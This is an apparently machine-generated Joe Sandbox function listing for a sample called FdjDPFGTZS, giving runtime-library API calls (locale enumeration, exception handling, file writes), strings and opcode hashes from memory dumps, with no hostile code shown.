Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

EnumSystemLocalesW.KERNEL32(00E3C6EB,00000001,?,?,-00000050,?,00E3CA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00E3C457

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c1caa9e848aa66088cb2d5efc359f533518c32d503f83e03a8b8532ec31cf477
Instruction ID: d03f900bfaaeaa0e70a8d791461adeac08b2b2a58b34f3b5145d8d3a376496c8
Opcode Fuzzy Hash: c1caa9e848aa66088cb2d5efc359f533518c32d503f83e03a8b8532ec31cf477
Instruction Fuzzy Hash: 18F0C2362003045FDB245F79DC99A7A7FA1EB81B6CF25842DF946AB690C671AC42C750

Function 00E35D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E2DDC1: EnterCriticalSection.KERNEL32(?,?,00E34B89,?,00E4C2E0,00000008,00E34D4D,?,00E2C446,?), ref: 00E2DDD0

EnumSystemLocalesW.KERNEL32(00E35D72,00000001,00E4C3A0,0000000C,00E36127,00000000), ref: 00E35DB7

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 0211efb3550659465e6877ad7425a36abbe4d4e037a1a64a551ebefbd013d757
Instruction ID: 688f7c9d67712557c71bb00249eef00fdfd962abbfdf4ac593ce2351ccdde351
Opcode Fuzzy Hash: 0211efb3550659465e6877ad7425a36abbe4d4e037a1a64a551ebefbd013d757
Instruction Fuzzy Hash: 10F04976A04318EFD700EF99E846B9E7BF1FB44721F20521AF511BB2A1C7B65905CB40

Function 00E3C327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

EnumSystemLocalesW.KERNEL32(00E3C280,00000001,?,?,?,00E3CAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00E3C35E

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b8112ad09c235c903914d083fb542d34ff7a5139b5d23311a89d7a8c1bebb8ec
Instruction ID: f72c353a6e3046e7cf11105b20afc90c29cafacc5cb93fe37f4acd8c0cd2a352
Opcode Fuzzy Hash: b8112ad09c235c903914d083fb542d34ff7a5139b5d23311a89d7a8c1bebb8ec
Instruction Fuzzy Hash: 2EF0E53A30030557CB149F76D84967ABF94EFC1B64F164099EA09AB690C671D947C790

Function 00E27AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,00E26DC9), ref: 00E27AB4

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 907c7bb580027f389507599840b3f2789217937e8afe68daf02b08a088946f56
Instruction ID: 16a4d2157e726ea62a2cae918f7974e960a9ff47160c7f7e68932d44aeb9b0db
Opcode Fuzzy Hash: 907c7bb580027f389507599840b3f2789217937e8afe68daf02b08a088946f56
Instruction Fuzzy Hash:

Function 00E21D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00E21E9B

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 7370975cb06b8d88d6c36c87abcf20bb7c90964e010c1ec68fd2639281cdf10f
Instruction ID: 97d21b45c24533c933b10b7a3e6ddeb890238cafa5452f1be27a8753dea5ddde
Opcode Fuzzy Hash: 7370975cb06b8d88d6c36c87abcf20bb7c90964e010c1ec68fd2639281cdf10f
Instruction Fuzzy Hash: 78412B76E2013B5BCB0CEEB8D8561AFBBA4EB55314B05527ADD11EB3D1E2348B01CAD0

Function 00E3CC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00E3CC4B

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b5cfd5c50c07b208dedae957d56524358c0fbcddb0c521f083510514bef8787a
Instruction ID: cb7c9b401a9ec6f41a4760ee96b37210223228a1b8e786ac1be7954270a35b12
Opcode Fuzzy Hash: b5cfd5c50c07b208dedae957d56524358c0fbcddb0c521f083510514bef8787a
Instruction Fuzzy Hash: 4EA012302011008F47008F376E45208369457052807048016D000D4120D72045455F40

Function 00E3BB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 6b0d46cf1339a32e37059736922888191a7208e258294b8097bd2ca3e69973ac
Instruction ID: 093af9ae698034d9263e94ccf6dc049bb01326848cec1fc4b69ebaa8126b74c6
Opcode Fuzzy Hash: 6b0d46cf1339a32e37059736922888191a7208e258294b8097bd2ca3e69973ac
Instruction Fuzzy Hash: BEB1F4356007058BCB389B25CC9AAB7BBE8EF4430CF54542DEB83E6581EB75A985CB10

Function 00E3A64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: 4be4ee40e57425930313f73f1eb90d17c1805a2a5f5f2f454227ddf314103c4f
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: E6E08C32921238EBCB24DB98C94999AF7ECEB44B04F1954A6B502E3210C272DE40CBD0

Function 00E66628 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00E22003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62ac4788e3cc354001bc151ad8be90075eea165272dd54160fca8b90a77dc24
Instruction ID: ea3ba5411e953fb2508dec607a579866c00158aa5bbc6d82ae128c4e4bd00e44
Opcode Fuzzy Hash: a62ac4788e3cc354001bc151ad8be90075eea165272dd54160fca8b90a77dc24
Instruction Fuzzy Hash: C6D0953A601A109FC210CF0AE880941F7B8FB99670B2680A6E904A3B20C334FC42CAE0

Function 00E30F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: 8820ace723b78153768631bb6329722624789452e38714fdbf7471003f30a080
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: 33C08C3420090086CE398910827A3A43795ABA2796F8824CCDC1A1B742C51E9C82DA01

Function 00E253B1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00E253B8
std::_Lockit::_Lockit.LIBCPMT ref: 00E253C2
int.LIBCPMT ref: 00E253D9

Part of subcall function 00E216B4: std::_Lockit::_Lockit.LIBCPMT ref: 00E216C5
Part of subcall function 00E216B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00E216DF

std::_Facet_Register.LIBCPMT ref: 00E25413
std::_Lockit::~_Lockit.LIBCPMT ref: 00E25433
Concurrency::cancel_current_task.LIBCPMT ref: 00E25440

Strings

R[, xrefs: 00E25420

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID: R[
API String ID: 55977855-3972925902
Opcode ID: d950d6c3d177cb832696f0ce669b469be276330ba38b53f880e7bb8bd43e386d
Instruction ID: a15df2c72ce55aa9c81f518a30d55bee3a0967ad2e216b7fd60d60ba09939ac2
Opcode Fuzzy Hash: d950d6c3d177cb832696f0ce669b469be276330ba38b53f880e7bb8bd43e386d
Instruction Fuzzy Hash: 7111E4769106349FCB10EB64F9056BEB7F5AF94324F20254EF851BB291DFB0AE408B80

Function 00E2A5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 00E2A6E7
___TypeMatch.LIBVCRUNTIME ref: 00E2A7F5
CallUnexpected.LIBVCRUNTIME ref: 00E2A962

Strings

csm, xrefs: 00E2A605
csm, xrefs: 00E2A672
csm, xrefs: 00E2A71E

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 573d948a45c9acf2feff92cf7a4ecd42b4318fcb5470c5347c60737cf5ca3d6e
Instruction ID: 9c59a207b54a0a698ed4d7c7585526504eb9dec5aa1a8c6ac0f9272f5fb92416
Opcode Fuzzy Hash: 573d948a45c9acf2feff92cf7a4ecd42b4318fcb5470c5347c60737cf5ca3d6e
Instruction Fuzzy Hash: DEB18A71800229EFCF18DFA4E9859AEB7B5BF04314F19617AE8117B212D731DA52CF92

Function 00E35F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,1FAB036A,?,00E36057,00E2C446,?,F8250000,00000000), ref: 00E3600B

Strings

ext-ms-, xrefs: 00E35FB5
api-ms-, xrefs: 00E35FA1

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: c57cdc6d19899d437effe807356ff8c7c5e063e3fe6f70ccfefa7f40d1a8a902
Instruction ID: 2cc268ce9aa972b84efaf5c4276a1946c26183740277a7008c9d66eb357bac12
Opcode Fuzzy Hash: c57cdc6d19899d437effe807356ff8c7c5e063e3fe6f70ccfefa7f40d1a8a902
Instruction Fuzzy Hash: AB21E736B01610ABC7319B35EC49A5E7FA8AF427A8F242215F915B73D1DB30EE05C6D0

Function 00E2507A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00E25081
std::_Lockit::_Lockit.LIBCPMT ref: 00E2508C
std::locale::_Setgloballocale.LIBCPMT ref: 00E250A7
_Yarn.LIBCPMT ref: 00E250BD
std::_Lockit::~_Lockit.LIBCPMT ref: 00E250FA

Strings

R[, xrefs: 00E250C9, 00E250ED

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID: R[
API String ID: 156189095-3972925902
Opcode ID: cbc51dcb5f88a932c71bf119cd77026c86ad5e955eb4d34d84f02af0cd665624
Instruction ID: d9bd1f9ce9b33d51d5291ac54b3f929ce1444661be651eda25cd7b97ee63d977
Opcode Fuzzy Hash: cbc51dcb5f88a932c71bf119cd77026c86ad5e955eb4d34d84f02af0cd665624
Instruction Fuzzy Hash: 9C01BC7AA029608FD705EB21FD52A7D77A1BF85340B24500AE84137391CF34AE06CBC5

Function 00E30F50 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,1FAB036A,?,?,00000000,00E41FC8,000000FF,?,00E30EE0,00E31010,?,00E30EB4,00000000), ref: 00E30F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E30F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,00E41FC8,000000FF,?,00E30EE0,00E31010,?,00E30EB4,00000000), ref: 00E30FB9

Strings

mscoree.dll, xrefs: 00E30F7E
CorExitProcess, xrefs: 00E30F8F
R[, xrefs: 00E30FA8

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$R[$mscoree.dll
API String ID: 4061214504-706027784
Opcode ID: f6208b1216e5830d30ab2d1157d13335a3896e6124c5b5c7a66f37369c863629
Instruction ID: 8bb6ff9083a60eca157283891a01f18e08ac6789cd5966777791d3f7fe61cec9
Opcode Fuzzy Hash: f6208b1216e5830d30ab2d1157d13335a3896e6124c5b5c7a66f37369c863629
Instruction Fuzzy Hash: 24018675A44715EFDB219F61DC09FAEBBB8FB05B14F040629F811B26D0DB749909CA90

Function 00E3F356 Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d4c36c1ceeaed20cd28fd7a5ec5a5e8c3b0aa09f6081bd12aecb9b26e8dfbe
Instruction ID: e537cc1d394ab942785cbe8d7f1d7e2c03e688c73527b0d9654a084bd3ca9676
Opcode Fuzzy Hash: a2d4c36c1ceeaed20cd28fd7a5ec5a5e8c3b0aa09f6081bd12aecb9b26e8dfbe
Instruction Fuzzy Hash: 13B11370E04249AFDB15DFA9E889BAE7FF1AF45304F145269E411BB2A2C7719D01CFA0

Function 00E37747 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(1FAB036A,00000000,00000000,00000000), ref: 00E377AA

Part of subcall function 00E3952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00E38FD3,?,00000000,-00000008), ref: 00E395D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E37A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00E37A4D
GetLastError.KERNEL32 ref: 00E37AF0

Strings

v , xrefs: 00E379CB, 00E37A13, 00E37A6E, 00E3793A, 00E37A83, 00E378E6

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

